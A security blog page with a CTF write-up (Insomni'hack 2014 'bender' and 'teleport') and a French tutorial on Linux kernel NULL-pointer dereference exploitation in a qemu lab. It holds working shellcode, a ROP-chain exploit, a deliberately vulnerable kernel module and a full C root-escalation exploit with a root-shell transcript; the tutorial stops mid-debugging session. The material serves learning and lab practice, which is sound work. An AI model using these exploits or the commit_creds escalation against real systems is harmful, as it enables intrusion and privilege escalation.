To search

w3pwnz

w3pwnz, therefore we are

Tag - exploit

Entries feed Comments feed

Monday, March 24 2014 13:53

Insomni'hack 2014 - bender & teleport writeups

In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.

bender

Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:
AVAIL ON 10.13.37.35:4003 | 10.13.37.25:4003
ASLR: YES NX:NO

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 10.13.37.35 4003

teleport

We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)
AVAIL ON 10.13.37.36:4000 10.13.37.26:4000
ASLR: NO NX: YES

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:

read_wrapper.png

This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
 
import sys
import struct
 
DATA_BASE = 0x08049130
 
#------------------------------------------------------------------------------
# Step 1: Setup .data with our execve parameters
#------------------------------------------------------------------------------
 
# 1.1: Recv to .data
 
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
 
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
 
sys.stdout.write(payload)
 
# 1.2: Send execve parameters & stage2 ropchain
 
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
 
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
 
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
 
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
 
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
 
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
 
sys.stdout.write(args_execve + stage2)
 
#------------------------------------------------------------------------------
# Step 2: Pivot to .data
#------------------------------------------------------------------------------
 
# 2.1: Pivot to .data
 
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
 
payload = payload.ljust(0x28, "\x00")                    # Padding
 
sys.stdout.write(payload)
 
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
 
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./sploit.py; cat -)|nc 10.13.37.36 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)

Sunday, January 19 2014 20:53

Exploitation du kernel pour les NULL - Déréférencement de pointeur

Ce billet a pour but de présenter l'exploitation du kernel par l'exemple. Ce premier billet vous présentera l'exploitation du kernel au travers d'une faille de type déréférencement de pointeur. Encore une fois le but ici est de détailler au maximum les différentes étapes allant de la conception d'un mini linux ainsi que de la création d'un module kernel faillible et de son exploitation.

Pour information le kernel est le noyau du système d'exploitation, il va permettre le dialogue entre la partie materielle et logicielle. Pour plus de précisions concernant le noyau je vous renvoie vers wikipedia. Il faut savoir que les failles au niveau kernel ne s'exploitent pas de la même manière que celles que l'on trouve niveau utilisateur, vous découvrirez ici une des manières pour exploiter le kernel.

1ère étape - Création d'un mini linux

Avant de pouvoir passer à l'exploitation, on va commencer par créer une machine virtuelle avec un linux allégé. Pour cela on va télécharger un kernel sur kernel.org et le compiler. Le but etant de récuperer le fichier bzImage qui est le kernel compilé et compressé.

Le bzImage est composé de la manière suivante :

Anatomy-of-bzimage.png

Les opérations se font sous un shell linux (si vous souhaitez compiler votre mini linux en 64 bits, il faut de préférence être sur un linux 64 bits, sinon certaines options non décrites dans cet article seront nécessaires) :

root@kali:~/Null_deref# wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.tar.gz
--2014-01-19 20:08:09--  https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.11.tar.gz
Résolution de www.kernel.org (www.kernel.org)... 149.20.4.69
Connexion vers www.kernel.org (www.kernel.org)|149.20.4.69|:443...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 113151474 (108M) [application/x-gzip]
Sauvegarde en : «linux-3.11.tar.gz»
 
100%[===========================================================>] 113 151 474  483K/s   ds 3m 50s  
 
2014-01-19 20:12:00 (481 KB/s) - «linux-3.11.tar.gz» sauvegardé [113151474/113151474]
 
root@kali:~/Null_deref# tar zxvf linux-3.11.tar.gz 
root@kali:~/Null_deref# cd linux-3.11/
root@kali:~/Null_deref/linux-3.11# make menuconfig

Le make menuconfig permet de paramétrer notre kernel, par exemple le type de processeur 64 ou 32 bits, le type de système de fichier supporté etc. Personnellement j'ai tout laissé par défaut. J'ai tout simplement cliqué sur Exit. Le menuconfig va créer le fichier .config répertoriant l'ensemble des options de votre kernel nécessaire à la compilation.

make_menuconfig.png

root@kali:~/Null_deref/linux-3.11# make -j2 bzImage (-j2 permettra d'accélerer la compilation si vous avez plusieurs coeurs)
... (Après quelques minutes/heures)
  CC      arch/x86/boot/memory.o
  CC      arch/x86/boot/pm.o
  AS      arch/x86/boot/pmjump.o
  CC      arch/x86/boot/printf.o
  CC      arch/x86/boot/regs.o
  CC      arch/x86/boot/string.o
  CC      arch/x86/boot/tty.o
  CC      arch/x86/boot/video.o
  CC      arch/x86/boot/video-mode.o
  CC      arch/x86/boot/version.o
  CC      arch/x86/boot/video-vga.o
  CC      arch/x86/boot/video-vesa.o
  CC      arch/x86/boot/video-bios.o
  LD      arch/x86/boot/setup.elf
  OBJCOPY arch/x86/boot/setup.bin
  OBJCOPY arch/x86/boot/vmlinux.bin
  HOSTCC  arch/x86/boot/tools/build
  BUILD   arch/x86/boot/bzImage
Setup is 17100 bytes (padded to 17408 bytes).
System is 2352 kB
CRC eab091a2
Kernel: arch/x86/boot/bzImage is ready  (#1)

Voila nous avons maintenant notre kernel compilé et prêt à l'emploi dans le dossier arch/x86/boot/bzImage. Maintenant que nous avons notre kernel, il va tout de même nous falloir un systeme de fichier virtuel initial (initramfs) qui permet de finaliser le lancement de linux. Il faut savoir que dès lors que le noyau Linux a le contrôle sur le système, il prépare ses structures mémoire et ses pilotes comme il le peut, il passe ensuite le contrôle à une application (en général init) dont la tâche est de compléter la préparation du système. Ce fichier initramfs comprendra les programmes de bases pour pouvoir utiliser l'OS (sh, ls, cat, id etc). Pour de plus amples renseignements concernant l'initramfs, je vous invite à lire cette page du wiki gentoo.

On va donc reconstruire un système de fichier avec les binaires qui vont bien. Pour cela on va utiliser busybox. Cet outil va nous permettre de manière simple d'obtenir un système de fichier linux allégé prêt à l'emploi.

root@kali:~/Null_deref# wget http://www.busybox.net/downloads/busybox-1.22.0.tar.bz2
--2014-01-19 20:50:03--  http://www.busybox.net/downloads/busybox-1.22.0.tar.bz2
Résolution de www.busybox.net (www.busybox.net)... 140.211.167.224
Connexion vers www.busybox.net (www.busybox.net)|140.211.167.224|:80...connecté.
requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2218120 (2,1M) [application/x-bzip2]
Sauvegarde en : «busybox-1.22.0.tar.bz2»
 
100%[===========================================================>] 2 218 120    438K/s   ds 5,6s    
 
2014-01-19 20:50:11 (385 KB/s) - «busybox-1.22.0.tar.bz2» sauvegardé [2218120/2218120]
 
root@kali:~/Null_deref# tar jxvf busybox-1.22.0.tar.bz2
root@kali:~/Null_deref# cd busybox-1.22.0

On se place dans le dossier busybox et on va compiler le tout. Attention penser à compiler en statique pour éviter de dépendre d'autres librairies qui ne seront pas présentes sur notre linux allégé. Pour cela lancer la commande suivante :

root@kali:~/Null_deref/busybox-1.22.0# make CFLAGS=-static install 
  ./_install//bin/ash -> busybox
  ./_install//bin/base64 -> busybox
  ./_install//bin/cat -> busybox
  ./_install//bin/catv -> busybox
....
  ./_install//usr/sbin/ubirmvol -> ../../bin/busybox
  ./_install//usr/sbin/ubirsvol -> ../../bin/busybox
  ./_install//usr/sbin/ubiupdatevol -> ../../bin/busybox
  ./_install//usr/sbin/udhcpd -> ../../bin/busybox
 
 
--------------------------------------------------
You will probably need to make your busybox binary
setuid root to ensure all configured applets will
work properly.
--------------------------------------------------

Voila on peut maintenant aller dans le dossier _install et on retrouve notre système de fichier prêt à l'emploi :

root@kali:~/Null_deref/busybox-1.22.0/_install# ls
bin  dev  etc  linuxrc  proc  sbin  sys  usr

Pret à l'emploi, enfin presque il manque plus que quelques petites choses :

  1. création du dossiers /proc
  2. création du fichier /etc/passwd pour déclarer nos utilisateurs
  3. création de leur homedirectory
  4. création du fichier init

On déclare donc deux utilisateurs dans le fichier passwd : root et user et ils auront pour dossier de travail les dossiers respectifs suivants : /root et /home/user qu'il faudra également créer.

root@kali:~/Null_deref/initramfs# cat etc/passwd 
root:x:0:0:root:/root:/bin/sh
user:x:1000:1000:user:/home/user:/bin/sh

La création du fichier init est également obligatoire, c'est ce fichier qui sera lancé au démarrage de la machine après le kernel.

root@kali:~/Null_deref/initramfs# cat init 
#!/bin/sh
# on crée les fichier null et ttyS0
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
 
# on monte les partitions proc et sys
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
# on définit comme utilisateur par défaut user(1000) et on lance le shell
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
 
poweroff -f

Voila notre système de fichier est prêt. On va maintenant créer notre fichier initramfs.

root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img

Pour information, il faut savoir qu'il est également possible de faire l'opération inverse, c'est à dire extraire les dossiers d'un fichier initramfs via cette commande :

root@kali:~/Null_deref/initramfs# gzip -dcS .img initramfs.img | cpio -id

Nous avons donc maintenant tout ce qu'il nous faut pour lancer notre linux allégé avec qemu. Pour éviter de retaper la longue ligne de commande permettant d'appeler qemu avec les différents paramètres adequats, on va créer un petit script qui fera ça pour nous :

root@kali:~/Null_deref# cat run.sh 
#!/bin/bash
 
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
    -monitor /dev/null \
    -initrd initramfs.img

Et voila ce que cela donne :

qemu_kernel_new.png.png

2ème étape - Création de notre module kernel faillible

La 2ème étape va être d'écrire un module kernel faillible, je ne me permettrai pas d'écrire sur l'etat de l'art concernant l'écriture de module kernel Pour cela je vous conseille plutôt ces excellents articles

Notre module va créer un périphérique linux disponible dans /dev vers lequel nous pourrons écrire des données. Ce périphérique acceptera deux commandes : init et show permettant respectivement d'aller initialiser et appeler le pointeur sur fonction d'une structure. La structure en question vuln_struct_s est déclarée de la manière suivante :

struct vuln_struct_s {
  void (*show)(void);
};

Et le bout de programme faillible :

if (!strcmp(msg, "init")){
  if (!vuln_struct) {
    vuln_struct = kmalloc(sizeof(struct vuln_struct_s), GFP_KERNEL);
    vuln_struct->show = func_show;
    printk("init OK\n");
  }
}
else if (!strcmp(msg, "show")){
  printk("show option\n");
  vuln_struct->show();
}

Si l'utilisateur envoie la commande init, le pointeur de la structure sera initialisé et si l'on appelle show il appellera la fonction pointée par la structure. Si l'on réflechit on voit rapidement le souci, si l'on appelle directement la fonction show sans passer par init le pointeur de la structure ne sera pas initialisé et pointera donc vers NULL (0x0000000000000000).

Les sources du module :

#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h> 
 
static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class
 
struct vuln_struct_s {
  void (*show)(void);
};
 
static struct vuln_struct_s *vuln_struct;
 
static int my_open(struct inode *i, struct file *f)
{
  printk(KERN_INFO "Driver: open()\n");
  return 0;
}
 
static int my_close(struct inode *i, struct file *f)
{
  printk(KERN_INFO "Driver: close()\n");
  return 0;
}
 
static ssize_t my_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
  printk(KERN_INFO "Driver: read()\n");
  return 0;
}
 
static void func_show(void)
{
  printk("Func show\n");
}
 
static ssize_t my_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{
  char *msg;
 
  printk(KERN_INFO "Driver: write()\n");
 
  msg = kmalloc(len + 1, GFP_DMA);
 
  if (msg){
 
    if (copy_from_user(msg, buf, len))
        return -EFAULT;
 
    msg[len] = '\0';
 
    if (!strcmp(msg, "init")){
      if (!vuln_struct) {
        vuln_struct = kmalloc(sizeof(struct vuln_struct_s), GFP_KERNEL);
        vuln_struct->show = func_show;
        printk("init OK\n");
      }
    }
    else if (!strcmp(msg, "show")){
      printk("show option\n");
      vuln_struct->show();
    }
  }
  kfree(msg);
  return len;
 
}
 
static struct file_operations pugs_fops =
{
  .owner = THIS_MODULE,
  .open = my_open,
  .release = my_close,
  .read = my_read,
  .write = my_write
};
 
static int __init vuln_init(void) /* Constructor */
{
  printk(KERN_INFO "Vuln registered");
  if (alloc_chrdev_region(&first, 0, 1, "vuln") < 0)
  {
    return -1;
  }
  if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
  {
    unregister_chrdev_region(first, 1);
    return -1;
  }
  if (device_create(cl, NULL, first, NULL, "vuln") == NULL)
  {
    printk(KERN_INFO "Vuln error");
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
  cdev_init(&c_dev, &pugs_fops);
  if (cdev_add(&c_dev, first, 1) == -1)
  {
    device_destroy(cl, first);
    class_destroy(cl);
    unregister_chrdev_region(first, 1);
    return -1;
  }
 
  printk(KERN_INFO "<Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
  return 0;
}
 
static void __exit vuln_exit(void) /* Destructor */
{
    unregister_chrdev_region(first, 3);
    printk(KERN_INFO "Vuln unregistered");
}
 
module_init(vuln_init);
module_exit(vuln_exit);
 
MODULE_LICENSE("GPL");
MODULE_AUTHOR("UfoX");
MODULE_DESCRIPTION("Vuln Kernel Module");

Pour le compiler, j'ai créé un Makefile des plus simples :

root@kali:~/Null_deref# cat Makefile 
obj-m+= vuln.o
# CFLAGS_vuln.o:= -fno-stack-protector -ggdb
all: 
	make -C /root/Null_deref/linux-3.11 M=$(PWD)
 
root@kali:~/Null_deref# make
make -C /root/Null_deref/linux-3.11 M=/root/Null_deref
make[1]: entrant dans le répertoire « /root/Null_deref/linux-3.11 »
  Building modules, stage 2.
  MODPOST 1 modules
  LD [M]  /root/Null_deref/vuln.ko
make[1]: quittant le répertoire « /root/Null_deref/linux-3.11 »

Maintenant que nous avons notre module compilé il va falloir l'ajouter à notre OS, Pour cela on va recopier le fichier vuln.ko à notre système de fichier virtuel et modifier le fichier init. Lors du chargement de celui-ci, il s'occupera d'installer notre module et de créer le fichier /dev/vuln correspondant à notre périphérique.

En tant que root, voici les commandes à connaître pour manipuler les modules kernel :

  • insmod : Charge le module
  • lsmod : Liste les modules chargés
  • rmmod : Décharge un module
root@kali:~/Null_deref# cp vuln.ko initramfs/usr/
root@kali:~/Null_deref# cd initramfs/
root@kali:~/Null_deref/initramfs# ls
bin  dev  etc  home  init  linuxrc  proc  root  sbin  sys  usr
root@kali:~/Null_deref/initramfs# vim init 
#!/bin/sh
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
 
mount -t proc proc /proc
mount -t sysfs sysfs /sys
 
# On ajoute ces 3 lignes :
insmod /usr/vuln.ko
mknod /dev/vuln c 251 0
chmod a+rw /dev/vuln
 
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
 
poweroff -f
root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img
5436 blocs

On relance notre machine virtuelle pour tester notre module : qemu_module.png

Et on retrouve bien dans le dmesg, les différents printk du module kernel lors de l'appel aux différentes fonctions du module.

qemu_module_dmesg.png

Comme je le disais au-dessus, si l'on relance la machine et que l'on appelle la fonction "show" sans passer par "init", le pointeur de notre structure ne sera pas initialisé et pointera donc vers NULL, la zone mémoire n'etant pas initialisée, le kernel va générer une erreur (kernel panic)

On teste tout ça dans notre machine virtuelle : kernel_panic.png

Il ne reste plus qu'à exploiter.

3ème étape - L'exploitation

Avant de parler exploitation pure, chose importante à savoir, l'espace mémoire accessible depuis l'espace utilisateur n'est pas le même que celui accessible depuis l'espace noyau. Le but de l'exploitation noyau est de faire rediriger le programme Kernel vers l'espace mémoire utilisateur que nous pouvons contrôler. Comme souvent dans les exploitations de binaire notre but va être de lancer un shell mais pour cela il faut être root. Comment faire vous allez me dire, rien de plus simple il suffit d’exécuter le code kernel suivant : commit_creds(prepare_kernel_cred (0)); où les fonctions xxx_creds sont des fonctions exportées du noyau.

Pour pouvoir appeler ces fonctions, il va nous falloir leur adresse, pour cela il faut savoir que le kernel stocke l'ensemble des adresses de fonctions dans le fichier /proc/kallsyms.

On peut vérifier cela dans notre machine virtuelle :

kallsyms.png

Nous avons maintenant tout ce qu'il nous faut pour écrire notre exploit. Les différentes étapes sont :

  1. mapper la mémoire à l'adresse 0x0000000000000000
  2. récupérer les adresses des fonctions de notre Kernel pour passer root
  3. Définir un pointeur vers l'appel de notre commande commit_creds(prepare_kernel_cred (0)) à l'adresse 0x0000000000000000
  4. Envoyer à notre module la commande show pour déclencher la faille
  5. Lancer notre shell en tant que root

L'exploitation finale :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#include <time.h>
#include <sys/ioctl.h>
 
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
 
struct cred;
struct task_struct;
 
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
 
prepare_kernel_cred_t   prepare_kernel_cred;
commit_creds_t    commit_creds;
 
void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
 
  if (getuid() == 0){
    printf("[+] Root shell success !! :)\n");
    execve("/bin/sh", argv, NULL);
  }
  printf("[-] failed to get root shell :(\n");
}
 
void get_root() {
  if (commit_creds && prepare_kernel_cred)
    commit_creds(prepare_kernel_cred(0));
}
 
unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret = 0;
 
  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    printf("[-] Failed to open /proc/kallsyms\n");
    exit(-1);
  }
  printf("[+] Find %s...\n", name);
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fclose(f);
      printf("[+] Found %s at %lx\n", name, addr);
      return addr;
    }
  }
  fclose(f);
  return 0;
}
 
int main()
{
  int fd;
  struct timespec time_info;
 
  if ((fd = open("/dev/vuln", O_RDWR)) < 0) {
    printf("Can't open device file: /dev/vuln\n");
    exit(1);
  }
 
  // 1 - Mapper la mémoire à l'adresse 0x0000000000000000
  printf("[+] Try to allocat 0x00000000...\n");
  if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
    printf("[-] Failed to allocat 0x00000000\n");
    return -1;
  }
  printf("[+] Allocation success !\n");
 
  // 2 - Appel de la fonction get_kernel_sym pour récuperer dans le /proc/kallsyms les adresses des fonctions
  prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
  commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
 
  // 3 - On définit un pointeur vers l'appel de notre fonction à l'adresse 0x0000000000000000
  printf("[+] Set pointer to get root cred\n");
  *(unsigned long *)0x0000000000000000 = (unsigned long)get_root;
 
  // 4 - Déclenchement de la vulnérabilité en appelant notre device avec la commande show
  printf("[+] Trig vuln...\n");
  write(fd, "show", 4);
 
  close(fd);
 
  // 5 - On a plus qu'à lancer notre shell => /bin/sh
  printf("[+] Try to get shell\n");
  get_shell();
 
  return -1;
}

Avant de pouvoir la tester sur notre mini linux, nous allons devoir modifier notre kernel. il faut savoir que depuis le kernel 2.6.23 une protection interdit à un processus n'étant pas root de mapper une adresse inférieure à une constante qui est définie dans /proc/sys/vm/mmap_min_addr. On va donc modifier cette valeur pour que l'exploitation puisse fonctionner, on va ajouter cela dans notre fichier init : echo 0 > /proc/sys/vm/mmap_min_addr

On compile notre exploit (on n'oublie pas de le compiler en statique pour éviter les dépendances d'autres librairies), on le recopie dans notre système de fichier, on recrée notre initramfs et on teste :

root@kali:~/Null_deref# gcc exploit.c -o exploit -static
root@kali:~/Null_deref# cp exploit initramfs
root@kali:~/Null_deref# cd initramfs/
root@kali:~/Null_deref/initramfs# find . |cpio -H newc -o | gzip > ../initramfs.img
6979 blocs
root@kali:~/Null_deref/initramfs# cd ..
root@kali:~/Null_deref# ./run.sh 
QEMU 1.1.2 monitor - type 'help' for more information
(qemu) QEMU 1.1.2 monitor - type 'help' for more information
(qemu) 
/ $ id
uid=1000(user) gid=1000 groups=1000
/ $ ./exploit 
[+] Try to allocat 0x00000000...
[+] Allocation success !
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff81053e81
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81053c6e
[+] Set pointer for get root cred
[+] Trig vuln...
[+] Try to get shell
[+] Root shell success !! :)
/ # id
uid=0(root) gid=0
/ #

Et voila comment devenir root. J'aurais pu m'arrêter là sur la rédaction de cet article mais personnellement j'aime bien aller au fond des choses et pour cela on va debugguer l'exploit pour comprendre pas à pas son fonctionnement.

Il faut savoir que sous qemu il est possible de faire du debugguage à distance avec gdb. On va simplement ajouter à notre fichier de lancement run.sh les options -s -S : -s permettant la création d'un stub vers gdb -S gèle la machine le temps que gdb s'attache à lui

#!/bin/bash
 
qemu-system-x86_64 \
    -kernel bzImage \
    -nographic \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
    -initrd initramfs.img \
    -s -S

On relance alors notre machine qemu et on voit qu'il ne se passe rien. En fait notre machine qemu attend que gdb s'attache à lui. Dans une autre fenêtre on va donc lancer gdb et exécuter la commande suivante target remote IP_de_sa_machine:1234

Attention à la configuration de gdb, je n'ai par exemple pas réussi à faire du remote debugging avec peda. Avec gdbinit cela fonctionne mais il faut penser à bien définir le type d'architecture sur laquelle on se connecte.

root@kali:~/Null_deref# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
64-bit mode is default. Use the 32bits command if your target is 32 bits.
Edit the $64BITS variable in your .gdbinit file to switch to default 32-bit mode.
gdb$ set architecture i386:x86-64
The target architecture is assumed to be i386:x86-64
gdb$ target remote 192.168.1.20:1234
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0xFFFFFFFF81601FD8  RBP: 0xFFFFFFFF81601FD8  RSP: 0xFFFFFFFF81601F68  o d I t s Z a P c 
  RDI: 0xFFFF880007C0DAFC  RSI: 0x0000000000000000  RDX: 0x00000000FFFFFFFF  RCX: 0x00000000FFFFFFFF  RIP: 0xFFFFFFFF8100890D
  R8 : 0x0000000000000000  R9 : 0x0000000000000001  R10: 0x0000000000000001  R11: 0x0000000000000000  R12: 0xFFFFFFFF817392D0
  R13: 0xFFFF880007FF8940  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffff8100890d:	mov    eax,DWORD PTR [rip+0x682a45]        # 0xffffffff8168b358
   0xffffffff81008913:	mov    esi,DWORD PTR gs:0xb0c4
   0xffffffff8100891b:	test   eax,eax
   0xffffffff8100891d:	je     0xffffffff81008933
   0xffffffff8100891f:	jmp    0xffffffff8100892d
   0xffffffff81008921:	mov    edi,0x1
   0xffffffff81008926:	call   0xffffffff810088c0
   0xffffffff8100892b:	jmp    0xffffffff8100890b
-----------------------------------------------------------------------------------------------------------------------------
0xffffffff8100890d in ?? ()
gdb$

Gdb s'attache bien à notre machine qemu, on peut donc dorénavant debug au niveau du kernel. On va placer un breakpoint au niveau de l'appel de la fonction my_write que nous avons récuperée précédement au travers du /proc/kallsyms :

gdb$ b * ffffffffa0000048
Breakpoint 1 at 0xffffffffa0000048
gdb$ c

On vérifie en écrivant sur notre péripherique que gdb s'arrête bien sur notre fonction :

$ echo -n "show" > /dev/vuln

Le programme ne nous rend pas la main et on voit que gdb s'arrête bien sur notre breakpoint posé précédemment :

-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFA0000048  RBX: 0x0000000000000004  RBP: 0xFFFF880007AAC880  RSP: 0xFFFF880006871EF0  o d I t S z a P c 
  RDI: 0xFFFF880007AAC880  RSI: 0x00000000015C1340  RDX: 0x0000000000000004  RCX: 0xFFFF880006871F50  RIP: 0xFFFFFFFFA0000048
  R8 : 0xFEFEFEFEFEFEFEFF  R9 : 0xFEFF86FF766E6772  R10: 0x0000000000000000  R11: 0x0000000000000246  R12: 0x00000000015C1340
  R13: 0xFFFF880006871F50  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0010  DS: 0000  ES: 0000  FS: 0063  GS: 0000  SS: 0018				
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0xffffffffa0000048:	push   r12
   0xffffffffa000004a:	mov    rdi,0xffffffffa0001066
